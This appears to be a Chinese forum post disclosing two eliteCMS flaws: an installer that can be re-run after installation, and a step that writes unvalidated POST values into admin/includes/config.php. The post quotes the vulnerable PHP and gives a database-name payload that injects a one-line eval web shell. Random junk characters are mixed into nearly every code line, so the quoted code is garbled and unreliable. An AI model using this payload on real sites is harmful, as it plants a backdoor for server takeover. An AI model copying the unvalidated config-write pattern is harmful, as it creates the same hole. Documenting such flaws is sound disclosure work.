eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
- X4 C! R: o- a* r# a我们来看代码：
" S" w6 |  {- c4 m
...
elseif ($_GET['step'] == "4") {
. R( d; R# E7 |. O    $file = "../admin/includes/config.php";
: G' A. s% Z) B; b6 S' `  D    $write = "<?php\n";
    $write .= "/**\n";
# }* \; g' y" B1 u, Y8 }2 i    $write .= "*\n";
9 {, l6 b$ V$ u6 s. \' c9 ~: r    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
) Q- Y( \/ Z5 T4 b( {...略...
    $write .= "*\n";
    $write .= "*/\n";
# K7 G8 V& b) ~5 W    $write .= "\n";
: A* [/ m! A' M, R    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
9 A" U# M$ }* X5 Q- p    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
. M2 p: W& D0 i1 r% I% o" u    $write .= "        \n";
0 A* F- r7 K& L/ h    $write .= "} \n";
' C. H  O% s4 u& w. I+ J3 M( a0 P    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 q8 P" c, ?* n7 T+ z1 z" ^  a    $write .= "if (!\$db_select) {\n";
2 Q9 ^' T1 B! r2 i/ j    $write .= "        die(\"Database select failed\" .mysql_error());\n";
5 {1 E! i5 a; K4 e# i    $write .= "        \n";
' C% X# [% l8 j4 N# b3 e6 z    $write .= "} \n";
    $write .= "?>\n";

9 [; V5 E! I  ~( e. r    $writer = fopen($file, 'w');
5 I% ^: `2 x, p" o...

在看代码：
# G6 T/ k: [' ]6 T) c$ g; i; }  l  s
0 l# {% {7 z; z4 p$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
5 q* p$ W* B: C7 g9 L. M: \$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
% l( ~1 t9 A% s9 d3 M$ b$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
& j# `; @( q; w( a: N
取值未作任何验证
5 A3 @- J+ a: f7 C5 K& T- r: {如果将数据库名POST数据：

4 A# b0 A9 _8 }# f* P5 Q- C"?><?php eval($_POST[c]);?><?php
1 `: b4 j" ?0 f* k, @
: M, I3 h2 E" o  ?: x' w将导致一句话后门写入/admin/includes/config.php
5 y' ~- |* e. N3 V! h# A